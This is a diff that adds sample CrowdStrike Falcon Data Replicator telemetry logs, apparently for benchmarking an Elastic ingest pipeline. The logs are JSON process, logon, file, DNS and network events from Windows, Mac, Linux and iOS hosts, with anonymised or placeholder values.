+{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321210562584146513","ContextTimeStamp":"1604855127.011","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"53","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffe5ff467b4f0c4fd41a4462bb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-ae74-065212970c5d","name":"NetworkListenIP4MacV5","timestamp":"1604855128936"} +{"AuthenticationId":"999","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855185.108","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume1\\Windows\\System32\\gpsvc.dll","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"219053851298","RpcClientThreadId":"22047924482692","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"gpsvc","TargetProcessId":"224116976578","TargetThreadId":"22920092479704","TokenType":"1","UserName":"user7","aid":"ffffffff59514ea68b4693ddfb9b6643","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStarted","id":"ffffffff-1111-11eb-860c-0606af112d55","name":"HostedServiceStartedV2","timestamp":"1604855184068"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855299.018","EffectiveTransmissionClass":"3","Entitlements":"15","ServiceDisplayName":"wuauserv","TargetProcessId":"661455186053","TargetThreadId":"24238019995551","aid":"ffffffff2b5a4bf5afc6682595faa016","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStopped","id":"ffffffff-1111-11eb-9b11-0602a5689467","name":"HostedServiceStoppedV1","timestamp":"1604855302512"} +{"AuthenticationId":"3443175","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1091372257857","ContextThreadId":"36855848099771","ContextTimeStamp":"1604855227.625","DiskParentDeviceInstanceId":"PCI\\VEN_1179\u0026DEV_0113\u0026SUBSYS_00011179\u0026REV_01\\4\u00263ad42678\u00260\u002600E0","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"f5ce07c6af67ec4ebe0846ff200bfc2f54f7020000002100","FileObject":"18446603341701082336","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"288041","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user12\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\Downloads\\ex.pdf.8e41hf8.partial","TokenType":"1","aid":"ffffffff32cb4abc50bc133b31a69946","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PdfFileWritten","id":"ffffffff-1111-11eb-baea-02dccfbb7779","name":"PdfFileWrittenV11","timestamp":"1604855264313"} +{"AuthenticationId":"3783389","CommandLine":"\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca","ConfigBuild":"1007.3.0012309.1","ConfigStateHash":"3998263252","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe","ImageSubsystem":"2","IntegrityLevel":"4096","MD5HashData":"50d5fd1290d94d46acca0585311e74d5","ParentAuthenticationId":"3783389","ParentBaseFileName":"svchost.exe","ParentProcessId":"2439558094566","ProcessCreateFlags":"525332","ProcessEndTime":"","ProcessParameterFlags":"16385","ProcessStartTime":"1604855181.648","ProcessSxsFlags":"1600","RawProcessId":"22272","RpcClientProcessId":"2439558094566","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37","SessionId":"1","SourceProcessId":"2439558094566","SourceThreadId":"77538684027214","Tags":"41, 12094627905582, 12094627906234","TargetProcessId":"2450046082233","TokenType":"2","UserSid":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","WindowFlags":"128","aid":"ffffffff655344736aca58d17fb570f0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-8462-02ade3b2f949","name":"ProcessRollup2V18","timestamp":"1604855182022"} +{"AuthenticationId":"326190744","AuthenticationUuid":"98467113-C771-4845-B71B-89B3CE9F93C9","AuthenticationUuidAsString":"13714698-71C7-4548-B71B-89B3CE9F93C9","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","Entitlements":"15","UID":"326190744","UserPrincipal":"user8@dom6","UserSid":"S-1-5-21-3629339319-2376021926-2724479216-652382488","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"UserIdentityMacV2","timestamp":"1604855355388"} +{"BootArgs":" NOEXECUTE=OPTIN HYPERVISORLAUNCHTYPE=AUTO FVEBOOT=2125824 NOVGA","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1874387338","EffectiveTransmissionClass":"0","Entitlements":"15","MachineDomain":"","aid":"ffffffffcdb543135e7fcdf8e5a8fbdb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostInfo","id":"ffffffff-1111-11eb-9bbd-061290dcd983","name":"HostInfoV2","timestamp":"1604855157555"} +{"AuthenticationId":"703298","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2642284486","ContextProcessId":"1161025471861","ContextThreadId":"34929528116709","ContextTimeStamp":"1604851030.593","DiskParentDeviceInstanceId":"USB\\VID_1058\u0026PID_2621\\57583431453939315A4C5255","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"262fbc677256cf4c8d6c6a227285a072c06830873b000000","FileObject":"18446664963104449168","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"1","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"517029","TargetFileName":"\\Device\\HarddiskVolume5\\01.png.tmp$$","TokenType":"1","UserName":"user9","aid":"ffffffff16bf4c7bb5ad755a4722025c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"GenericFileWritten","id":"ffffffff-1111-11eb-800a-06cecfd73923","name":"GenericFileWrittenV11","timestamp":"1604851031298"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"1604850899.164","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812"} +{"ConfigBuild":"1007.4.0009906.1","ConfigStateHash":"3429017943","ContextProcessId":"66426035996442255","ContextTimeStamp":"1604851098.548","Entitlements":"15","aid":"ffffffff899541b94b9adff8922aa70a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"FirewallDisabled","id":"ffffffff-1111-11eb-9d4c-02f402df8c1f","name":"FirewallDisabledMacV1","timestamp":"1604851040625"} +{"AgentLoadFlags":"0","AgentLocalTime":"1636436839.9529998","AgentTimeOffset":"125.319","AgentVersion":"6.31.14404.0","BiosManufacturer":"Apple Inc.","BiosVersion":"1554.140.20.0.0 (iBridge: 18.16.14759.0.1,0)","ChassisType":"Laptop","City":"San Francisco","ComputerName":"mac1","ConfigBuild":"1007.4.0014404.1","ConfigIDBuild":"14404","Continent":"North America","Country":"United States","FalconGroupingTags":"-","FirstSeen":"1625682391.0","HostHiddenStatus":"Visible","MachineDomain":"none","OU":"none","PointerSize":"none","ProductType":"1","SensorGroupingTags":"-","ServicePackMajor":"none","SiteName":"none","SystemManufacturer":"Apple Inc.","SystemProductName":"MacBookPro16,2","Time":"1636448427.3539999","Timezone":"America/Los_Angeles","Version":"Big Sur (11.0)","aid":"fffffffffffaaaaaaaaabbbbbbbb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022ff","event_platform":"Mac"} +{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","UTCTimestamp":"1604855134461"} +{"ProcessCreateFlags":"1024","IntegrityLevel":"8192","ParentProcessId":"434985540832797032","SourceProcessId":"434985540832797032","aip":"89.160.20.120","SHA1HashData":"0000000000000000000000000000000000000000","UserSid":"S-1-5-21-4084637156-299436391-3671333128-115430","event_platform":"Win","TokenType":"2","ProcessEndTime":"","ParentBaseFileName":"EmUser.exe","ImageSubsystem":"2","id":"9686a6b3-1d39-11ed-9370-0660bfa16adf","EffectiveTransmissionClass":"3","SessionId":"1","Tags":"25, 27, 862, 874, 924, 12094627905582, 12094627906234","timestamp":"1660636869410","event_simpleName":"ProcessRollup2","RawProcessId":"6108","ConfigStateHash":"518095218","MD5HashData":"e570911fc2ab74ecf0dc59f324318f6e","SHA256HashData":"f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2","ProcessSxsFlags":"64","AuthenticationId":"29530993","ConfigBuild":"1007.3.0015103.1","CommandLine":"\"C:\\Program Files\\nirsoft\\SoundVolumeView.exe\" /SetDefault \"Teradici Virtual Audio Driver\\device\\speakers\\\" all","ParentAuthenticationId":"29530993","TargetProcessId":"434985669758362104","ImageFileName":"\\Device\\HarddiskVolume3\\Program Files\\NirSoft\\SoundVolumeView.exe","SourceThreadId":"434985668331321297","Entitlements":"15","name":"ProcessRollup2V19","ProcessStartTime":"1660636868.576","ProcessParameterFlags":"24577","aid":"50deaa55144543089a1f463b568cdc53","cid":"1301ac65ae144fbb9689a8472f828c2e"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":133145666190000000,"EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812","StartTime":133145665200000000,"EndTime":133145665200000000} +{"ComputerName":"HQ-sadhkbasHS","CurrentLocalIP":"67.43.156.13","FirstDiscoveredDate":"1669625277.827","LastDiscoveredBy":"c1b74438660b44cfa93e24c9d44badab","LocalAddressIP4":"67.43.156.13","MAC":"AA-AA-AA-AA-AA-AA","MACPrefix":"AA-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"","__mv_aip":"$67.43.156.14$;$67.43.156.13$","__mv_discoverer_aid":"$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$","__mv_discoverer_devicetype":"","_time":"1678931820.343","aip":"67.43.156.13 67.43.156.14 81.2.69.192","aipCount":"3","cid":"500c5073b4d7443688f4b32c5eeb295b","discovererCount":"2","discoverer_aid":"4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab","discoverer_devicetype":"","localipCount":"1","subnet":"10.0"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812","StartTime":133145665200000000,"EndTime":133145665200000000} +{"AuthenticationId":"703298","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2642284486","ContextProcessId":"1161025471861","ContextThreadId":"34929528116709","ContextTimeStamp":"1604851030.593","DiskParentDeviceInstanceId":"USB\\VID_1058\u0026PID_2621\\57583431453939315A4C5255","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"262fbc677256cf4c8d6c6a227285a072c06830873b000000","FileObject":"18446664963104449168","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"1","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"517029","TargetFileName":"c:\\Device\\HarddiskVolume5\\01.png.tmp$$","TokenType":"1","UserName":"user9","aid":"ffffffff16bf4c7bb5ad755a4722025c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"GenericFileWritten","id":"ffffffff-1111-11eb-800a-06cecfd73923","name":"GenericFileWrittenV11","timestamp":"1604851031298"} +{"UserIsAdmin": "1", "LogonTime": "1715078799.631", "UserSid": "S-1-5-21-1111-11111-387821029-2004", "event_platform": "Mac", "EffectiveTransmissionClass": "2", "timestamp": "1715078799943", "info": { "host": { "Timezone": "Asia/Kolkata", "ServicePackMajor": "none", "PointerSize": "none", "SiteName": "none", "AgentVersion": "7.14.18305.0", "Time": "1715074061.000", "MachineDomain": "none", "event_platform": "Mac", "AgentTimeOffset": "454032", "Version": "Ventura (13)", "AgentLoadFlags": "0", "BiosVersion": "none", "FalconGroupingTags": "none", "SystemProductName": "Mac14, 2", "OU": "none", "ProductType": "none", "City": "Bengaluru", "ConfigBuild": "1007.4.0018305.10", "SensorGroupingTags": "none", "Continent": "Asia", "FirstSeen": "1701672920.000", "HostHiddenStatus": "Visible", "BiosManufacturer": "none", "AgentLocalTime": "1714620029.775", "Country": "India", "ChassisType": "Other", "SystemManufacturer": "Apple Inc.", "ConfigIDBuild": "18305", "cid": "11d1d1d1dd1d1d1d1d1" }, "user": { "UserIsAdmin": "1", "monthsincereset": "3.0", "User": "USER-1-MACBOOK-AIR.LOCAL\\USER-1", "LogonTime": "1715076000.000", "PasswordLastSet": "1706789855.733", "LogonType": "Interactive", "AccountType": "Local", "LastLoggedOnHost": "User-1-MacBook-Air.local", "_time": "1715076916.290", "cid": "1d1d1d1d1d1d1d1d1" } }, "ContextTimeStamp": "1715078799.690", "UserName": "user-1", "ConfigStateHash": "821711964", "LogonType": "2", "AuthenticationId": "111112312312312321", "UserPrincipal": "user-1@User-1-MacBook-Air.local", "PasswordLastSet": "1706789855.733", "Entitlements": "15", "name": "UserLogonMacV1", "UserLogonFlags": "6", "UserGroupsBitmask": "0", "cid": "1d1d1d1d1d1d1d1d1"} +{"ActiveDirectoryAuthenticationMethod":"0","ActivityId":"E654B5F9-9FCD-4E9A-9F18-E433DB7ACBAC","AuthenticationActivityId":"0737DAC6-66AE-42DE-B10A-FD151AE99B86","ContextTimeStamp":"1715078799.690","SourceAccountDomain":"EXAMPLE.COM","SourceAccountObjectGuid":"62915660-5725-4B71-A494-46793F88877A","SourceAccountObjectSid":"S-1-5-21-333333333-333333333-3333333333-333333","SourceAccountSamAccountName":"bar","SourceEndpointAccountObjectGuid":"9FF5B4D9-4FAD-47E7-89C0-0B06299F0AE8","SourceEndpointAccountObjectSid":"S-1-5-21-222222222-222222222-2222222222-222222","SourceEndpointAddressIP4":"192.168.0.1","SourceEndpointHostName":"FOO","SourceEndpointNetworkTag":"AWS-XXX","SourceEndpointNetworkType":"1","TargetDomainControllerObjectGuid":"11111111-1111-1111-1111-111111111111","TargetDomainControllerObjectSid":"S-1-5-21-111111111-111111111-1111111111-111111","aip":"","cid":"11111111111111111111111111111111","event_platform":"Win","name":"ActiveDirectoryInteractiveDomainLogonV2","timestamp":"2024-08-01T11:31:27.123Z"} +{"event_simpleName":"SmbServerShareOpenedEtw","UserName":"person@dom1.com","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1063377105","DomainName":"AzureAD","aip":"67.43.156.14","ConfigBuild":"1007.3.0019011.15","event_platform":"Win","Entitlements":"15","name":"SmbServerShareOpenedEtwV1","EventOrigin":"17","id":"5df90d92-3d9f-44e5-a095-428decb3d3f3","SmbShareName":"C$","EffectiveTransmissionClass":"3","aid":"1152404d33614d3bbfe87a5fe7bac47b","timestamp":"1738009593697","cid":"ffffffff30a3407dae27d0503611022d"} +{"ContextBaseFileName":"SenseImdsCollector.exe","event_simpleName":"DnsRequest","ContextTimeStamp":"1738009377.497","ConfigStateHash":"138674525","ContextProcessId":"683613242245","DomainName":"metadata.google.internal","ContextThreadId":"31712204862362","aip":"67.43.156.14","QueryStatus":"9003","InterfaceIndex":"0","ConfigBuild":"1007.3.0019011.15","event_platform":"Win","DnsRequestCount":"1","DualRequest":"1","Entitlements":"15","name":"DnsRequestV5","EventOrigin":"1","id":"3d0ef474-fcc3-4f18-9ad6-7130d8ddb407","EffectiveTransmissionClass":"3","aid":"31e92a267c044d57b1c1e14109079e89","timestamp":"1738009364034","cid":"ffffffff30a3407dae27d0503611022d","RequestType":"28"} +{"ProcessCreateFlags":"1024","IntegrityLevel":"8192","ParentProcessId":"434985540832797032","SourceProcessId":"434985540832797032","aip":"89.160.20.120","SHA1HashData":"0000000000000000000000000000000000000000","UserSid":"S-1-5-21-4084637156-299436391-3671333128-115430","event_platform":"Win","TokenType":"2","ProcessEndTime":"","ParentBaseFileName":"EmUser.exe","ImageSubsystem":"2","id":"9686a6b3-1d39-11ed-9370-0660bfa16adf","EffectiveTransmissionClass":"3","SessionId":"1","Tags":"25, 27, 862, 874, 924, 12094627905582, 12094627906234","timestamp":"1660636869410","event_simpleName":"ProcessRollup2","RawProcessId":"18446744072636268557","ConfigStateHash":"518095218","MD5HashData":"e570911fc2ab74ecf0dc59f324318f6e","SHA256HashData":"f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2","ProcessSxsFlags":"64","AuthenticationId":"29530993","ConfigBuild":"1007.3.0015103.1","CommandLine":"\"C:\\Program Files\\nirsoft\\SoundVolumeView.exe\" /SetDefault \"Teradici Virtual Audio Driver\\device\\speakers\\\" all","ParentAuthenticationId":"29530993","TargetProcessId":"434985669758362104","ImageFileName":"\\Device\\HarddiskVolume3\\Program Files\\NirSoft\\SoundVolumeView.exe","SourceThreadId":"434985668331321297","Entitlements":"15","name":"ProcessRollup2V19","ProcessStartTime":"1660636868.576","ProcessParameterFlags":"24577","aid":"50deaa55144543089a1f463b568cdc53","cid":"1301ac65ae144fbb9689a8472f828c2e"} +{"AgentLoadFlags":"none","AgentLocalTime":"none","AgentTimeOffset":"63878691745","AgentVersion":"2025.02.1","BiosManufacturer":"none","BiosVersion":"none","ChassisType":"none","City":"Bengaluru","ComputerName":"none","ConfigBuild":"1007.32.20250201.9","ConfigIDBuild":"20250201","Continent":"Asia","Country":"India","FalconGroupingTags":"none","FirstSeen":"1742447937.000","HostHiddenStatus":"visible","MachineDomain":"none","OU":"none","PointerSize":"none","ProductType":"none","SensorGroupingTags":"none","ServicePackMajor":"none","SiteName":"none","SystemManufacturer":"Apple","SystemProductName":"none","Time":"1743094945.000","Timezone":"Asia/Kolkata","Version":"iOS 18.3.2","aid":"44444444444444444444444444444444","aip":"0.0.0.0","cid":"55555555555555555555555555555555","event_platform":"iOS"} +{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","UTCTimestamp":"1604855134"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdrv2-notmanaged.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdrv2-notmanaged.log new file mode 100644 index 0000000000..6f96985067 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdrv2-notmanaged.log @@ -0,0 +1 @@ +{"ComputerName":"xxxxxxxxxxxxxxxx","CurrentLocalIP":"192.168.1.35","FirstDiscoveredDate":"1680533704.111","LastDiscoveredBy":"1fffffffffffffffffffffffffffffff","LocalAddressIP4":"192.168.1.129 192.168.1.35","MAC":"BB-AA-AA-AA-CC-CC","MACPrefix":"BB-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"$192.168.1.129$;$192.168.1.35$","__mv_aip":"$192.168.255.7$;$192.168.240.243$","__mv_discoverer_aid":"","_time":"1680769502.395","aip":"192.168.255.7 192.168.240.243","aipCount":"2","cid":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","discovererCount":"1","discoverer_aid":"bbbbbbbbbbbbbbcbbbbbbbbbbbbbbbbb","localipCount":"2","subnet":"192.168"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-linux.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-linux.log new file mode 100644 index 0000000000..4ba49239c2 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-linux.log @@ -0,0 +1,4 @@ +{"event_simpleName":"CriticalEnvironmentVariableChanged","EnvironmentVariableName":"b644d55ace4f0d","ContextTimeStamp":"1757442428.423","ConfigStateHash":"8308391500","ContextProcessId":"520000000560900","ContextThreadId":"0","aip":"81.2.69.142","ConfigBuild":"2c8b.2.3366c72.4f","event_platform":"Lin","EnvironmentVariableValue":"a8afe97c911df877fcbc6f0f3e1f509d3a","Entitlements":"76","name":"12b047f65d9ece84f659a6b3826d14342284b30","EventOrigin":"45","id":"8cb2694b8b910f8a123d27da50bb85401acf","EffectiveTransmissionClass":"2","aid":"63c6b6246300091fe99c69eb0e5f2cf6","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"CriticalFileAccessed","ContextTimeStamp":"1757157936.727","GID":"0","ConfigStateHash":"1061106086","ContextProcessId":"1096090950008222800","ContextThreadId":"0","aip":"89.160.20.128","ConfigBuild":"2c8b.2.3366c72.4f","UID":"0","event_platform":"Lin","UnixMode":"61960","Entitlements":"26","name":"1532ae7e2a105adcc6ddbcf67","EventOrigin":"1","id":"01a3b1d4aa10d5329aef78ba9d3ec56f6d97","EffectiveTransmissionClass":"2","aid":"37b562b807a27cfb58dda71ec9a7eb22","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/812/0bb09d"} +{"CapPrm":"3800192030037","ParentProcessId":"8081349242194000050","SourceProcessId":"8081349242194000050","aip":"81.2.69.192","SessionProcessId":"4102020000109002000","SyntheticPR2Flags":"4","event_platform":"Lin","ProcessEndTime":"1745972888.297","SVUID":"0","EventOrigin":"45","id":"fb9bd5f0314e46ce785f479aed8f3032fcd9","EffectiveTransmissionClass":"2","timestamp":"1743508799999","ProcessGroupId":"7001610480104066706","event_simpleName":"SyntheticProcessRollup2","RawProcessId":"8905032","ContextTimeStamp":"1752350302.359","GID":"0","ConfigStateHash":"5001020160","SVGID":"0","ConfigBuild":"2c8b.2.3366c72.4f","UID":"0","CommandLine":"e7f8eac7d","TargetProcessId":"6059002040716020903","ImageFileName":"/501e","RGID":"0","SourceThreadId":"0","Entitlements":"56","name":"4f32166a22f49735247598b45006","ProcessStartTime":"1745953229.264","RUID":"0","aid":"8c687fb6b1e8231200c77ef5e3175d0e","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"TerminateProcess","RawProcessId":"1070050","ContextTimeStamp":"1751300030.984","ConfigStateHash":"8001020160","ContextProcessId":"9960000700989070560","ContextThreadId":"0","aip":"89.160.20.128","ConfigBuild":"2c8b.2.3366c72.4f","event_platform":"Lin","TargetProcessId":"6960000700989070560","Entitlements":"36","name":"6b1c662a760f5ed9750d4","EventOrigin":"1","id":"3e71b26395f4386bcb6602ee6777bb5f3124","EffectiveTransmissionClass":"2","aid":"12111f24f25a2a99438b40765c236577","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-macos.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-macos.log new file mode 100644 index 0000000000..cdbb227d80 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-macos.log @@ -0,0 +1,18 @@ +{"ContextBaseFileName":"09e61","event_simpleName":"BZip2FileWritten","ContextTimeStamp":"1757195073.478","UserName":"4813","FileCategory":"1","ConfigStateHash":"25043379","ContextProcessId":"128660005005330005","Size":"164","ContextThreadId":"0","aip":"216.160.83.56","FileIdentifier":"ba8c123c8c5fa659eb0d3736f6d9fb000fa82e957828517a","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"66","name":"f1facdb9387bd66ffd9ef","EventOrigin":"1","id":"902e0c3461e5e975df4227b1ce8919630d6d","EffectiveTransmissionClass":"2","aid":"b616fca617fa5819625542d9505100de","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/c86/836/3be7855d.bz2"} +{"event_simpleName":"CriticalFileModified","ContextTimeStamp":"1748302670.919","GID":"0","ConfigStateHash":"859328400","ContextProcessId":"807031761070052000","ContextThreadId":"0","aip":"2a02:cf40::1","FileIdentifier":"fae5cbfea2793fc85256961268a0b84d939ea1a5cff7ca21","ConfigBuild":"2c8b.4.daf5d9d.4f","UID":"0","USN":"150410415","event_platform":"Mac","UnixMode":"905","Entitlements":"86","name":"0e25074caaed0b54119466642","EventOrigin":"1","id":"46dbd0c61a79bcf29fba222797ace5754589","EffectiveTransmissionClass":"2","aid":"38d08ba2d7184565619459d87ca92c8a","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/812/4f8a2"} +{"event_simpleName":"FileCreateInfo","ContextTimeStamp":"1757781342.026","GID":"45","ConfigStateHash":"65043379","ContextProcessId":"309000003380007780","ContextThreadId":"0","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","UID":"213","event_platform":"Mac","TreeId":"586900090030000484","UnixMode":"105","Entitlements":"26","name":"b556b2f8c2fcc9d247c","EventOrigin":"3","id":"2e5060ef833ae51492bb2f2feaa9f0a52725","EffectiveTransmissionClass":"3","aid":"f8e97b22125b280e944b0a3e95273005","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/6b0cc/48a957ec/dc20b3d/33f3ee0e/3cc3653a.Office/487f7052/331ced6b.reg-journal"} +{"event_simpleName":"FirewallDisabled","ContextTimeStamp":"1762877709.496","ConfigStateHash":"600000970","ContextProcessId":"700001226457050500","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","Entitlements":"16","name":"d6b45f4ee5e3f0dc22415","EventOrigin":"45","id":"da89f6e8e51680edc853caf65110cd0b6997","EffectiveTransmissionClass":"2","aid":"688342f2ec2adb5c7a9da5d3fec0cf70","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} 